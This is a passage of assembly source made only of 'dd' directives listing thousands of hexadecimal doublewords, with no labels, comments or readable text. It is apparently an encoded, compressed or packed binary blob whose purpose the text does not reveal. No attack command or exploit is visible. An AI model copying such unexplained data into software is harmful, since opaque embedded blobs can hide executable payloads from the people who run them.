0D01F7F10h, 879B34C3h, 0ED8CC9AAh dd 715BA89Ch, 74E38AB5h, 1A15AB01h, 38EDE928h, 52B0902Ah dd 0EAE1A4B2h, 0C3177C56h, 76DA21Eh, 2A7F0CBBh, 0CC3A0CDFh dd 12F14A0Fh, 2387A402h, 0CDDC8368h, 62D622E3h, 0D17C6h dd 0F0A41BFh, 60056D03h, 0A86B8106h, 60D13F34h, 3653146Fh dd 0F828291Ah, 44EB072Dh, 0F9A4C211h, 1EA5A7FBh, 0DC73A17Fh dd 553CE263h, 18CCDAAh, 26EE1B8h, 0FF442908h, 7CAA58A3h dd 30538F75h, 0B05F1140h, 0C0207CFCh, 0D43B1B06h, 9F59E968h dd 6116965Bh, 0C8D036E8h, 0E976E45Eh, 38097D4Eh, 81EA5E59h dd 0C32BADEFh, 9592D601h, 814F46A3h, 30B9A3F8h, 0F2E97509h dd 3C9EF1F6h, 0F993FB13h, 5E374A83h, 65822ED2h, 8E1990E4h dd 811C307Bh, 121A42F2h, 4A7D053Eh, 7EC05780h, 9693AA74h dd 3E9EB220h, 442DDFD2h dd 0B10A7A72h, 626B8A42h, 0D0E089C6h, 0A4B90341h, 0BD35FA7Bh dd 37A90BD0h, 5C47A4B4h, 0E9912D67h, 6262C6B5h, 0E9F46093h dd 82A7CBDDh, 57AA0512h, 7F0EB600h, 6802C004h, 9BAF1A41h dd 0D8842FB5h, 7AE63020h, 5188C783h, 5B56F312h, 81E92DFEh dd 6DDABDEBh, 0C03F4574h, 2DCD8184h, 2E4B761Dh, 6CDBF581h dd 0FD43199Eh, 48AEB04Eh, 0FE092DE9h, 0D0D72548h, 40C173C0h dd 98382551h, 59BD1E84h, 16415229h, 5A4D4B5Fh, 0E9780756h dd 29074036h, 5B5F5F7Bh, 40C3F6E4h, 13EC47EAh, 2D128DBCh dd 0F649BCB9h, 5F00183h, 20C920D9h, 0B8484B5Eh, 7B5BC9BAh dd 0E9C603BAh, 0BD1CE3A8h, 40497FE6h, 1B177C55h, 0F78B245Ch dd 557D634Eh, 0FFAC61h, 8E38B49Dh, 3B6A3501h, 8915C318h dd 95EE086Eh, 0C1FE41B8h, 709266FAh, 0F30925h, 5308630Dh dd 0C520BD32h, 205912E6h, 7E200698h, 0EED12489h, 720203DDh dd 46EA3CF4h, 881EECF0h, 5C0959CBh, 9A66D132h, 0AD007915h dd 0FBBB5356h, 5A9A0F1Fh, 0C6A04192h, 52D9EC40h, 10171C04h dd 4A4C41FCh, 707AF936h, 189D9BF1h, 276FD000h, 0AD8A59D6h dd 2A6CA7F7h, 8E5277F4h, 4E1D04B8h, 2C0266E5h, 0EB824A6Ch dd 93DFCBBCh, 242FC1FCh, 0F8C02D04h, 0F49EC6FDh, 503CB140h dd 0FE1800B4h, 5E4C0CCh, 0A55EEC80h, 4AE978B0h, 4F19FCD2h dd 2AE9696Ch, 4AA29A30h, 6854D2D5h, 870B725Ch, 0E827BB2Ch dd 4F52282Dh, 8EABE36Ch, 1DAA04CAh, 8FA80108h, 3C149200h dd 595D51E2h, 24ABB705h, 0D04F8658h, 7FBB7300h, 0F4443B67h dd 8C2D5BB1h, 0C1EAE849h, 908FD8C4h, 0DA7AA71Dh, 45B5F505h dd 0BA082971h, 54003CDh, 23986E09h, 7F127B35h, 0F603750Eh dd 0FF569459h, 0E0BEE103h, 4BE9C701h, 0EF40406Bh, 787D0A3Bh dd 918C0CC3h, 7682BDB5h, 617D7C5Fh, 3AEDF6E9h, 108E8B41h dd 42B48DDh, 0B21594A7h, 0C285EE4h, 25F62568h, 0BD60407Eh dd 0B4D5A23h, 6DE95613h, 0A6935270h, 9DB3ED08h, 85B6D6FAh dd 4604EF72h, 84167862h, 5295EF7Eh, 0EF4CB4D1h, 0D26AC804h dd 7025E0Fh, 69169331h, 8CEE05C4h, 0AE4A09F8h, 0AA428FA4h dd 8FC7FCC5h, 3366A7B5h, 5B9522F5h, 0B54A6B4Eh, 0E9D218FDh dd 44844BBFh, 0BFFE65A4h, 0A13E24DDh, 0AF180580h, 8CFE9904h dd 8BC70416h, 0CCBE01E4h, 40CA9049h, 1D0EFAB0h, 0C24E0A08h dd 552C17F6h, 770B9650h, 563A584Fh, 0EABE3F1Bh, 73B16487h dd 8D089929h, 471C3008h, 5B2EAD74h, 0A6181D5Eh, 1361EE9Fh dd 0EA20E523h, 3FE95720h, 92519DA4h, 0A28F27BFh, 5B8D91Fh dd 0F1479958h, 50ED5248h, 4A06945Eh, 98633DDh, 414B155Dh dd 0E1FFFE2Fh, 7CF75E8Bh, 2311C43Ah, 0F5BCD464h, 0A371F9A4h dd 5FB9C2E9h, 12F6136Eh, 0C35A1E48h, 158BFD01h, 0CD1D6EB5h dd 7E49A74Ah, 0F512915Ah, 5F688CA0h, 8A82505Ch, 0EEFA284Bh dd 6CA9984h, 2412C9E9h, 5BCF4897h, 437F0BF9h, 5FD9FB29h dd 0F7CB8783h, 810801D1h, 0AB7505F3h, 0A0056F54h, 31BFA744h dd 33E68Eh, 2D0342BDh, 4558757Bh, 4F087417h, 0E9070142h dd 2811F093h, 4DFBF521h, 4E48C2A5h, 9508F4Bh, 4678F268h dd 75C2E7F0h, 55B965CEh, 7286C10h, 2027988Fh, 6805871Ch dd 6B8E14CDh, 0C25160BBh, 0BA097E2Bh, 600FE93Ah, 0EE545299h dd 68066EAEh, 0C00664D7h, 0FD0DDB6Eh, 0E5E92B1Ah, 108568Fh dd 0E6C1DEF7h, 0EF0B2008h, 98F1991Dh, 3193EB83h, 0F301E1BDh dd 664D2C3Fh, 4E9E4917h, 0CFEEF6D0h, 3DF83D1Eh, 0F1180E69h dd 371754F6h, 94E4F43Ch, 0BD36BA21h, 2AE23033h, 0E59079F0h dd 0B4C08A5Fh, 4A576859h, 80492412h, 18696219h, 66BD0D1Ah dd 0D3E0000Bh, 2620B349h, 201BCD29h, 1591208h, 7F328DE9h dd 406B8798h, 7B955679h, 0D5509FF8h, 904EB274h, 212E6B32h dd 1DAC6A50h, 114F1C7Ch, 14E34300h, 5B0FB651h, 7BD58743h dd 0B828CF84h, 20A8CB61h, 5AF43043h, 0C0FA9080h, 51520106h dd 0E1F43AB1h, 7F882B5Ch, 0F5E5F13Fh, 2BF83B4Ah, 0A13BE77Bh dd 0B4C6F833h, 746286Eh, 0F80558E7h, 949E49A4h, 0C7B22DD8h dd 532DA2F2h, 1396EBF3h, 0B93078E4h, 0C4D6E3h, 5AC2CBBFh dd 263D3DF6h, 50EA700h, 737A017Eh, 25A02D00h, 0BDE98221h dd 0BD7C9AA2h, 0F556109Ah, 0F0E65625h, 2196AFD5h, 9E252682h dd 988A7E15h, 0B6529540h, 0E6C0BB14h, 0CD7E7388h, 2B55B4Dh dd 8D13332Dh, 3999561Ah, 0A3C3C3CEh, 5A06F0B0h, 9B8A535Eh dd 4E7C444Eh, 7133FA4Ch, 5942D052h, 0C2234A70h, 226A8E56h dd 2AFE9457h, 69A12ECBh, 14DD5F5Ch, 0C225BC5Fh, 90BE5E7h dd 11850C0h, 0EF10D2Dh, 0D88EC981h, 0E9272697h, 0F6A360B0h dd 3AC0B7DAh, 8782D458h, 8182B31Dh, 6254749Dh, 2811EA7Fh dd 59BEA048h, 5324B47Ch, 0B1081849h, 3BFF81F1h, 215E3291h dd 138A577Ah, 3D1F43h, 816ADE7Fh, 0DC129F2h, 0EE9D101h dd 0AD4B0B2Bh, 0C001A353h, 0E949E45Ah, 900F8E6h, 3099B450h dd 0FE085B02h, 246C4C59h, 0EC8639B8h, 0D2F6D50Dh, 6B10AE08h dd 0BE063D3Eh, 51D487DCh, 0E5A6CBB5h, 17CD7C4Eh, 5C580DDh dd 8C0FF510h, 88E2B53Bh, 5359E817h, 1A8354E9h, 3639EDD0h dd 63CD98F6h, 2D88DE0Ch, 0FFD059EBh, 18C0FE2Dh, 1F6FB790h dd 274F780h, 0F65306E7h, 5B01FA83h, 1E8D96E7h, 3F16B5Eh dd 0BC3DC3C1h, 94B0E297h, 630E0034h, 0E95A20A8h, 5DFE58F3h dd 81C138C5h, 107378ECh, 25C845F6h, 3BF91DF7h, 0E9EB21C0h dd 0B5429ADEh, 0D2E7D233h, 79FECE6Ah, 0BAEEB81h, 11216DFEh dd 0ECACED64h, 247662A2h, 4661F928h, 0CD69E84Eh, 510F91B5h dd 5DD54060h, 0C30F1EB4h, 0BC55ED68h, 255A089h, 75D8418Eh dd 1C9072E5h, 4E41FA2Dh, 4DB33A66h, 66C83A26h, 82B3CDEDh dd 3FCF4C08h, 0A72EB9Ah, 55E995FEh, 0D973740Bh, 0C49C924h dd 0FB85F12h, 0F91FED9Dh, 55B98366h, 4D22C145h, 50BB7B11h dd 0AD3030C0h, 40123C09h, 0C168009Eh, 0A80506E0h, 663C4C2Bh dd 0F4428735h, 0E9E23186h, 0BE7DDEA0h, 0EA0DD009h, 60F1F400h dd 0FB5BA3A9h, 54D44CC9h, 68170BBAh, 0C0302A87h, 1C096AD6h dd 620CE932h, 0B045C535h, 0A6C9AC94h, 0E6B0958h, 6E406D66h dd 0D210D601h, 3A582F08h, 0E89D0716h, 813F5FD0h, 36BD05CAh dd 0B4F76A74h, 52FA61DCh, 6B1CEAFCh, 0C7070D6h, 0A90C48Ch dd 1D5AE9EDh, 76D2AFBCh, 0EFB7AF9Ah, 0B9E905FCh, 28CFF9E2h dd 869CC3A6h, 25346C27h, 1B906855h, 51C01C1Ah, 392D0ECDh dd 0B08B829h, 417176B1h, 1EE16200h, 85BDDBBAh, 4A025677h dd 0DE99F1E9h, 7497839Eh, 0C0E2888h, 0C4F017B9h, 5AA8F921h dd 0C4B9F7D6h, 31EC3EE9h, 0FB35300h, 0EBD0D3F6h, 62C3801Ch dd 0C009D816h, 0EE114603h, 2589BAFAh, 9E8C6FEh, 0B780EF21h dd 20B22D9Fh, 594ABBF0h, 0F3B19AC1h, 0E441C721h, 0DE6A8FC6h dd 90DA4D21h, 0E9D9D89Eh, 7C197A9h, 12E72E50h, 0BF920C8Eh dd 0E45D2039h, 1795CA3Fh, 55E97E9h, 58B67025h, 9E2057D3h dd 5D74D782h, 882D24A5h, 8B2B6CB1h, 4EB5362h, 7465E9FDh dd 2FBA8DBEh, 0E90DAAA7h, 222270E0h, 12BBD290h, 1F36BB31h dd 0E737A062h, 0A074148Ch, 0F800F661h, 89BF7F9Fh, 9354E9FEh dd 0E7B15998h, 4430EB07h, 0FB016FA0h, 802D49E9h, 95E53502h dd 21D53F28h, 7F49C50Ah, 0DDE5A221h, 9508FAA0h, 0A123D965h dd 929DA38Bh, 0BFF860A6h dd 7FC93980h, 0F60F1ECCh, 0F117FED9h, 88D2E4C4h, 25BAC1B5h dd 0E6582568h, 1F09C0E4h, 1C0CC62Ah, 2AC528E9h, 2D967DBBh dd 0C878468Dh, 50D90925h, 9A530FDDh, 0CD22B421h, 32605159h dd 692F23DDh, 3AAB7075h, 0DB054D35h, 0F3C18986h, 0E40127D1h dd 6C2502A9h, 0C8F8E90Ah, 91264577h, 0C0E98202h, 53205778h dd 0AB506A68h, 590CE8BDh, 4ACDBD55h, 0DC99E984h, 0D29CCAACh dd 0C129BEE2h, 2598A7Ah, 3144FF68h, 50EAE26Fh, 0DF5A5ECBh dd 6FA75036h, 8A9D18BDh, 0E2D58209h, 0B94B5FE1h, 6FA9BD4Fh dd 1276BF84h, 1E406FDDh, 1E5CB951h, 1450F156h, 0E90C7ECBh dd 0F0378B16h, 0F44119B8h, 17899CBCh, 4A854345h, 5A35FB83h dd 16C523A2h, 571C9018h, 3B006ABFh, 0FEB8103Ah, 3214E04Dh dd 0E997F829h, 1921FB89h, 0D80470B0h, 0F1B0CE0Ch, 1325537Fh dd 2756E630h, 540625h, 0CB6374C0h, 0DA71F30Bh, 0C377F06Ah dd 81F2E15Bh, 29266882h, 2D588BFCh, 0F64D17C9h, 17788441h dd 8545E907h, 8840A7B3h, 3E47E0C9h, 48B1B019h, 82067E06h dd 0F253795Bh, 0BB7DD904h, 2BC7291Ch, 0B0D2A409h, 58C2BEC1h dd 0B6B3FEE8h, 0AA0C4F7Fh, 230FBB9Bh, 12074F0Eh, 895E9501h dd 7EFE59CEh, 6E9E42C3h, 454732D5h, 5EE904B7h, 244DFE32h dd 0E40181E7h, 58E09310h, 3163B809h, 0E904DFF7h, 58F32C48h dd 0DEA9A46Ch, 0E4CC5B8Eh, 0FD2AE911h, 0B800DDA3h, 567511F0h dd 5821E235h, 0AF10881Ch, 456A757Ch, 6AE952B3h, 0B7AF4411h dd 84D9FCB0h, 0D7C2008Ah, 90443617h, 80982053h, 2F17C4E6h dd 9E09E628h, 108B66F0h, 22DE4E9h, 1F67BAB9h, 0F20C5750h dd 1A13BEAEh, 33415F8Ch, 1D7B05FEh, 516FE8CFh, 3CC2B590h dd 1BE2F40Fh, 0ABE30C59h, 6EDF5F88h, 0E9CA0106h, 25AB0E91h dd 7EC66DD6h, 0B5DE91BFh, 0BD1B8AE0h, 70250C2h, 0D87E3158h dd 2E82E9E1h, 29216601h, 5BA93457h, 4E50DEFBh, 762FD40h dd 4A0129FEh, 55ECD44h, 0A5FEFC0Ch, 0E984B0B2h, 5A7393FAh dd 0CDE848h, 0B10936B9h, 1E98135h, 3D04739Ch, 0C053BE56h dd 0CEF80712h, 0E2725A0Bh, 0DE8E6037h, 0B510F045h, 8E9D201h dd 64366B91h, 0F26813F7h, 0D3F7A271h, 2B2784E1h, 7B211910h dd 0B58EA5Ah, 21EC086h, 0F229512Dh, 7C5690E9h, 0FEDDF602h dd 0EF057FC5h, 0CD820EEDh, 6A5F5A6h, 0B9C0673Dh, 69E5BF06h dd 138042Eh, 374B20E8h, 0BB0AB2B4h, 0F8A595F6h, 747AE7C0h dd 33D0AE55h, 0BDBCB0E9h, 5AD036E8h, 90C3303Dh, 803B93E2h dd 0ACEE2Ch, 28482CAFh, 38C404C8h, 0BF008520h, 15311349h dd 2D0071BCh, 1E817A5Ah, 5E82829h, 1444F907h, 0E4C49F3h dd 1C5F0502h, 0E37A673Bh, 0BA6F120h, 65CFBD66h, 7E13DCDCh dd 0EE0CFCFCh, 0C60A61EAh, 3E21443Fh, 0B3BA2852h, 0D67E29F6h dd 1535A3Eh, 0E919B3BBh, 303BA094h, 34526DE4h, 4D4C5D71h dd 2F8405CBh, 0D28027BCh, 5A91D65Eh, 19B1E8FBh, 543A97F4h dd 0C07AE66Ah, 2A76084h, 760B2768h, 0BD876B79h, 777461DDh dd 6FCAA80h, 0E96509E0h, 85695D2h, 9A6C64EFh, 5B788EABh dd 79364945h, 553D32F6h, 0A3EB4696h, 0C7319AAh, 35C4581Ch dd 91711880h, 0C8B72A49h, 16486880h, 274265h, 7AC7F2EDh dd 62D26F71h, 765FEE49h, 1B8BB9FDh, 0F036BFCh, 6B1E8A2Bh dd 391D01EEh, 0FB43A22Fh, 82BB0291h, 894F8475h, 2EF9D7C1h dd 211E8B63h, 546397D8h, 4E1625EAh, 7A7F2BBh, 796D3852h dd 5CFB35C3h, 4B9E5351h, 0CA81DF87h, 204414E7h, 0BA015209h dd 61163631h, 0CF2CD2F7h, 15354008h, 0B4855F01h, 0C03E3143h dd 80E9FEBFh, 7397BC92h, 0E6541252h, 0F2D85BBEh, 3432FEBAh dd 0B66721Eh, 9171B1E2h, 0B3C5173Ch, 8A68B733h, 85DF5120h dd 0F958DDh, 1460F7B8h, 0FAFC4856h, 744AE916h, 1E824E20h dd 355D0328h, 449B4096h, 5B5267A8h, 0F5E93408h, 9552878h dd 433A1F3Fh, 0E00E027Dh, 0AA6801E4h, 0C6BD6C19h, 0E999CA91h dd 0DFD95E7Bh, 801674CDh, 3F25686Fh, 5B2E1D06h, 594EDBF7h dd 8915C90Dh, 8D488B30h, 4EF44310h, 4248EDF8h, 5D932732h dd 2288A056h, 0D2491FF7h, 9F38507Ch, 5B76DF02h, 0CB804A3Dh dd 2F210D2Bh, 0DA3CE91Ah, 45508224h, 8D809D3h, 0BE26312Ah dd 0FCFEB27Dh, 51B10B95h, 5DB0BD1Ch, 62E58141h, 2A21050Fh dd 0AC0F8557h, 1EC403BCh, 0D7BE0184h, 823A940Dh, 0A0928E4h dd 0FE253F5Eh, 0E02C44BDh, 0EC984343h, 6F2E9D0Bh, 7084570Dh dd 0AE0BAA46h, 0E757889h, 0E18858B4h, 0B6470772h, 1510E263h dd 0E69E3671h, 52B11071h, 96A0AB30h, 16729C59h, 0F2B685CBh dd 68660799h, 914B7C1Fh, 8D6A1A6Ch, 0EEBE011Bh, 8BD13CD0h dd 99814C5Ch, 69DD08CCh, 293CD0A4h, 0DA14B25Ch, 652705C5h dd 47AC2318h, 0AC71C851h, 5781802Dh, 0FC6BAFBFh, 9209B92Eh dd 0F07312DDh, 922D5B08h, 23DC0519h, 0E8D1E985h, 805A41FFh dd 0D82DFD2Bh, 5B7F5E53h, 0AB194132h, 8EDC7C8h, 2C099FD2h dd 77E18492h, 0DE595A09h, 3523502Fh, 0FFAFC1A1h, 2512DC08h dd 9A0218D6h, 178C63h, 36273FF2h, 5C512E3Fh, 0B1AA10CDh dd 3DA5828h, 0CEEF8001h, 0C7ABF728h, 0AF92E9A9h, 77CD0977h dd 6F41EA2h, 1D062C24h, 7D791BC6h, 0D16F312Dh, 0A3C20DD5h dd 10F527ADh, 0BD4A88D0h, 590F00F7h, 0EF681FD6h, 5BF19F53h dd 118DB42h, 55197568h, 0A85A0010h, 0B905F071h, 0E6A45109h dd 12CBD453h, 0C1A30E41h, 1C4903C7h, 0C63F5C82h, 0CD0189BEh dd 61B35559h, 7A9587D9h, 8248248Ah, 8E1BD15Eh, 4E9C36A1h dd 0FB252B8h, 685033C1h, 1F819363h, 2F58BF61h, 78130E2Dh dd 0FDAE6320h, 294ABD00h, 7A305C8h, 0FF110CADh, 0BEB75974h dd 88CAD0BEh, 0BFAD925Bh, 16BF3EF1h, 0EA536855h, 0F9A201AFh dd 20082F1Eh, 0C1FC5086h, 86E93109h, 83D3742Bh, 0E639CD29h dd 7BEB2AD9h, 48DB6E40h, 48BA5EA5h, 1F25E3A0h, 0BC8DB605h dd 4EBD1EFDh, 50ECDC9h, 0ED8FEB1Fh, 9AB7904Fh, 6D267B08h dd 0FA085E5Ah, 0FD042D86h, 1074E277h, 46007C0Ah, 38DDF681h dd 0C2EC3679h, 2F707403h, 40F20163h, 5A5E08CCh, 0FFDF1255h dd 1DCF9D7Dh, 0D28CB2BBh, 1047A96Eh, 257A298Eh, 29C6959Eh dd 31C2A22h, 770632F6h, 0B12F7BEh, 0DFB9EE31h, 48C3CE10h dd 79EC0706h, 0D9B44E32h, 0EB4040FFh, 64B227A9h, 7B49E290h dd 5BDD098Eh, 7DA0DF21h, 75A85453h, 9AF8292Dh, 412DF94Dh dd 237DB268h, 623A78D2h, 5D0B82F6h, 68F099E9h, 2580B9DBh dd 0CB833CF4h, 65FAC6FEh, 685E27C8h, 6620072Dh, 0D4182D79h dd 0B7AD3A7h, 9C095AF6h, 0E1FD0404h, 0E56183BAh, 0D01E875Fh dd 0A47015h, 6A7A68B8h, 41D0F762h, 0C1028E05h, 0E914F8E0h dd 44245ED6h, 0ED99B0F9h, 3FC6A457h, 51523B59h, 0F747B98h dd 790B24BAh, 7C2921F6h, 0D5EB08B6h, 0B59AFA25h, 6B0C41ADh dd 59AD4D35h, 10EFCB4Ah, 9C4809FBh, 5C587A20h, 7C20C9h dd 8E43AEBAh, 5EAC128h, 0AD4A4A7Eh, 9C52DB87h, 620EDE66h dd 5CCCDC02h, 0F14CF7FEh, 0F97F2D97h, 0C00896E6h, 288C2C60h dd 5A04D83Ah, 48B56128h, 135885B3h, 0E3E92B0Bh, 3095DDD0h dd 4A6C6850h, 0D687EC5Eh, 0C12DD6B2h, 0C5A706Bh, 77E97C91h dd 0B28F25CBh, 68516340h, 0C44D9B2Ch, 817DB062h, 0E9B353FCh dd 1901A6A4h, 44D5231Ch, 53481F84h, 2B23B139h, 0FFA0B34h dd 644579Eh, 40F8BC01h dd 0DB955B08h, 0F4CE1FB4h, 5AEC040h, 800041D8h, 137F0D17h dd 752D5DCDh, 0C1FD5EFBh, 0D84E6899h, 0C2780109h, 580842E5h dd 91C1224Bh, 6B8A4D6Eh, 575A3362h, 0B834E14Eh, 0E5E37E65h dd 29B4CCD7h, 0CE2DE85Fh, 2A5D293Fh, 5526FFB2h, 22FC00ACh dd 0C7E93C52h, 554BC29Dh, 0E020CB16h, 0F74E0F66h, 0CA2456D6h dd 99F11379h, 47D23517h, 2CE4C4E3h, 440D0A21h, 618A5A4Eh dd 0E181480Dh, 7D52E181h, 0F1FF70D5h, 2C44250Fh, 15C9806Eh dd 98050B11h, 0D4DCEDDAh, 0EF08B718h, 0F6C201BAh, 0A6192E54h dd 0A90B800Ch, 78778505h, 407998A9h, 0F50080A4h, 0B4506648h dd 0ECE52026h, 8216C958h, 305F6601h, 107E4AD5h, 680277DEh dd 104D12CFh, 0AA8E0077h, 0BF1F2758h, 0A0FDCD09h, 6271C674h dd 31F922E5h, 19EA4B20h, 5047B159h, 0D5623FD5h, 0DD224229h dd 0B94A554Eh, 304BA916h, 154C8449h, 60B49DEAh, 52A1030h dd 575BCD19h, 7BE74D61h, 2B8ABF8Bh, 0A4628476h, 75E0BD0h dd 2CA3D108h, 409D28D8h, 661E6497h, 715D0289h, 0DF992FB7h dd 0A94C532Fh, 2B1239CBh, 0A7014127h, 0BED8D4CBh, 0F216FE2Ch dd 39F09D6Dh, 0BE4986DEh, 0F4B70722h, 0A4F8E780h, 3F1FB1C1h dd 0F4539CA4h, 0F9EBAB4Dh, 0F63F642Bh, 0A80127F2h, 2934B8ACh dd 1363CAEFh, 7934FAD5h, 1A0C0325h, 0D873C6h, 0BD19C70Dh dd 806E0570h, 211BD117h, 499155F0h, 9782873h, 59EC28AFh dd 0A7A993F7h, 0C8FCBF62h, 0C78F666Ah, 0FF63D3E2h, 0DE21BCF3h dd 0FA0EF3C9h, 2164005Ch, 2DBB0BE0h, 0DE5E7767h, 17C351A4h dd 959CCFE9h, 7ECCF9B7h, 0E15402F8h, 3C2D68CAh, 0E2971811h dd 75590003h, 1FE1CD81h, 0EDEC766Fh, 4D948FB4h, 20E825FBh dd 2468F642h, 6E77482Bh, 8BC69B05h, 5E83C2F3h, 6E9331DDh dd 1C703338h, 96EA80CAh, 10678559h, 0CC5A7E6Eh, 3B962137h dd 0AB0ADC5Ah, 0E6A53967h, 0D662A9CCh, 5A964658h, 69A925D4h dd 22E54076h, 0CF81B147h, 5FEB2F71h, 0F766902Eh, 0C514ECFCh dd 27AA8987h, 0E9994829h, 5D39CF06h, 39DFA1D7h, 0D45F255Bh dd 93D65A19h, 2DAD7188h, 6405148Bh, 0C4A4AC85h, 7E180521h dd 9D2EAAC2h, 8700BCC6h, 0E930C942h, 2223621Dh, 0AEF4C328h dd 0D39F531Dh, 4545D052h, 71E8595Eh, 1CFE55Ah, 3A417FAh dd 0EDBCFC54h, 5EB5B8A0h, 70F87A5Ch, 19BD6440h, 14263E02h dd 54053A8Ch, 0CEAFD021h, 0A060120Bh, 302E2CA2h, 0E1590994h dd 179A2848h, 51639816h, 28D894A1h, 0E92A3DEBh, 445FEADh dd 8278BA2Fh, 52E06891h, 433C0EECh, 12DF1C4Ch, 5356EE8Ah dd 40F7B5A0h, 94955282h, 0F7BA81AAh, 9F02E43Dh, 89473770h dd 0CD01287Ch, 1CF90F79h, 4CCE3461h, 7B4EE48Dh, 0D05167CAh dd 67AA050h, 7E07CE81h, 462B0E26h, 5310E670h, 8E4748EBh dd 0E87DE700h, 6888E942h, 0BC41CFAAh, 3A7959CEh, 0EA00A1C5h dd 729E4E47h, 0C8B530E9h, 66CC68ABh, 0D1B8414Eh, 793F2DB0h dd 574FA03h, 0ADB91277h, 0C3C915FFh, 0B5A1FC4Bh, 30C720EAh dd 4A03770Ah, 79F3814Bh, 0E901C823h, 0B5C1B234h, 0D86410F9h dd 8252E0D7h, 4C4E7D61h, 85C812B5h, 87BBF16Bh, 2244F2h dd 3753055Dh, 53134804h, 17DC2D7Dh, 81801EE4h, 0E5500254h dd 47E6CFAEh, 89796A24h, 0EF89521Dh, 279D5C7Fh, 0D620D0CCh dd 0F64CA019h, 0C4FBFE0Dh, 12B61EACh, 0B7F922BFh, 68563668h dd 2C15F10Fh, 0F03D643Fh, 24A3E9B8h, 0B426A88Ch, 228BD2F9h dd 65B555F8h, 60F18D6Bh, 0F0A77A1Ch, 2511BC10h, 2D1D9E52h dd 4076CF4Ch, 755216C8h, 109D8464h, 821F6D1Ah, 9439EDCAh dd 35EA6C95h, 6EF8BF5Ch, 0DADEF92Dh, 49D274E9h, 99B5C1B4h dd 57A298Fh, 0FBC74565h, 19F0CE29h, 8977DD99h, 1A327AF6h dd 64EB5BC8h, 9A3BE80h, 312ECEB8h, 1D05F0Bh, 128AD725h dd 4BA21032h, 0BA16C66Ch, 78B76B20h, 33320259h, 5A5116ACh dd 0DD32D4C4h, 77EE2303h, 612CA964h, 1E15959Dh, 0F1201DD3h dd 0EF4214D3h, 5D075E68h, 0E4FA046h, 0B4C4BFA8h, 8075B2F0h dd 0B168B050h, 56C0952Ah, 40EE9C0h, 67F3F180h, 0CC076BECh dd 0D8EBC485h, 0E34A888Ah, 0E90A1AA6h, 70A8F5B8h, 51B78601h dd 0F4024939h, 61FE9D6Dh, 13171469h, 8C5B9C68h, 0FC60F398h dd 55F7EB4Dh, 4D6E7B98h, 874CA25Ch, 0D20E0520h, 0DE6B8A0Fh dd 0F362CC40h, 0C116E97Ch, 0DA685229h, 0DDB03E04h, 3285EDF7h dd 0FBC06CE9h, 3980F524h, 0EABA4E72h, 5F7AC081h, 0E3C12F8Fh dd 0EBD10512h, 34C3100h, 9F89BCFFh, 2818BE58h, 88F8501Ch dd 15C59579h, 0E7B57F2Ah, 0D62408h, 272C31DDh, 0BC4C8DE9h dd 28E4A558h, 0E84A9F5Eh, 0C5D766C2h, 8C43AFBh, 1AB15F40h dd 1ECA2896h, 3BEFA07h, 0D1D558C2h, 32F4EE6Ah, 0B3E092F3h dd 0A1410311h, 225D0532h, 93E97AA0h, 0D22F8F6Eh, 0E1D24C58h dd 0A74A169Bh, 0D920F06Ah, 8D2D3E8h, 2AE5B970h, 5769041Ah dd 0FE7A79E9h, 0A85A6CCAh, 0F354C5E5h, 0CDC10F5h, 46E4BD16h dd 44F5294Ah, 66DA7DF5h, 8CBD0241h, 4D1E8E06h, 1B3A8D5Eh dd 0A59BCD87h, 53A3C5B8h, 90C08E20h, 3883CDAh, 4E085890h dd 944E83C0h, 205D903Eh, 0CCB77F3h, 5FD7508Dh, 68C50058h dd 31DC65BDh, 5DC92BB4h, 48BDA9BCh, 83C56492h, 18827202h dd 0DD5B442Eh, 3097F945h, 5E15C891h, 5052CC3Ah, 2CEFF0B5h dd 0ADE46BA6h, 9D1D2C40h, 6841939Eh, 814D0B35h, 4DBB99E2h dd 0AABCC57Fh, 682E469Ah, 0F3762F89h, 76787872h, 7E552454h dd 0C13C444Fh, 37B87E0h, 0CACDFA46h, 7B837678h, 0F82BF9AFh dd 187DBC7Fh, 2982E4E9h, 371679F5h, 53EBB877h, 9F01FA0Ch dd 0E950806h, 0D34B94ADh, 350E7AB6h, 0DF63B80Ah, 5031B083h dd 0C06AE97Fh, 6862883Eh, 8E37832Ah, 0F4D03620h, 8948539Fh dd 2F7A784Ch, 0E619473Ah, 2DE63496h, 1D7BD500h, 0D657057Ah dd 9A12EADh, 0E955027Dh, 467F0DEFh, 1A3B0C1h, 34EB1475h dd 0AF762D58h, 71D5400Dh, 0EE8880A3h, 622765B0h, 617D7C96h dd 3E2882B0h, 4C591088h, 0B4B03953h, 7B5BB707h, 68661F80h dd 90154AE4h, 94CBE90Fh, 4E367C9h, 0BA176226h, 0B973AA02h dd 0ABC58044h, 9F096947h, 0F41E700Ch, 20F1B00h, 8145DDF7h dd 2C850AE5h, 3CF03CCh, 0EB72CFBEh, 7AE9300Bh, 25D046CDh dd 72E81FC5h, 563036B1h, 1D460C39h, 0C0194E35h, 2A3A86A9h dd 0D108B8FAh, 143E5358h, 3E69F2E9h, 0BDD1955Dh, 0BF4A9020h dd 5A7B15F2h, 0A5EDFCA2h, 77B8DC74h, 156A4A00h, 0BDACE976h dd 13635E82h, 5BE7B0C7h, 69A0D19Fh, 580704F7h, 40341098h dd 349D5E16h, 0D9212771h, 73073C5h, 9F0BE9C1h, 7B95DC14h dd 15583E24h, 0B391D72Dh, 0A421285Bh, 97B19400h, 129AB652h dd 471878E9h, 845BDA95h, 504FAC33h, 5124949h, 0CAF15159h dd 0C95D0702h, 0D5E436F3h, 9BCB83Ah, 166D7940h, 5F02D4D2h dd 16AB820h, 0C07324Ch, 4444DD59h, 0E91E0726h, 1530499Bh dd 0CE957780h, 89104CF0h, 1708C8Ah, 954E92C3h, 110C8018h dd 0E99720F7h, 0CC429F66h, 0E165B355h, 346AD372h, 0C59AFD71h dd 8DAB3268h, 0C9637E29h, 0CCB4C7Ch, 14B14D7Ch, 0F87D5917h dd 1BFDCD5Ch, 0BE81E7Bh, 0BF14BA8Bh, 0C1FCD3B7h, 3FD6B4E9h dd 4C202EE2h, 70BC42F6h, 2889BB01h, 0E12E6C7Ah, 52F12F61h dd 3793060h, 8110CF0Eh, 0CDB96FF6h, 0F6856A3Ah, 716B7880h dd 0BE445058h, 0FC300796h dd 1885E936h, 7B97491Dh, 0B27ABAF1h, 0A966CFECh, 5AEC8430h dd 0B1482F8Fh, 0A953832Dh, 6A4AE7A0h, 0C3A421E8h, 9BCD69CAh dd 0A48E5A45h, 5B55F24Eh, 0D0AA8B34h, 3B79C17Ah, 0C323130h dd 5912587Ch, 0A1720722h, 0A1215608h, 4AB1504h, 16873DB7h dd 0F94AD9ACh, 0AD5605C4h, 14843E75h, 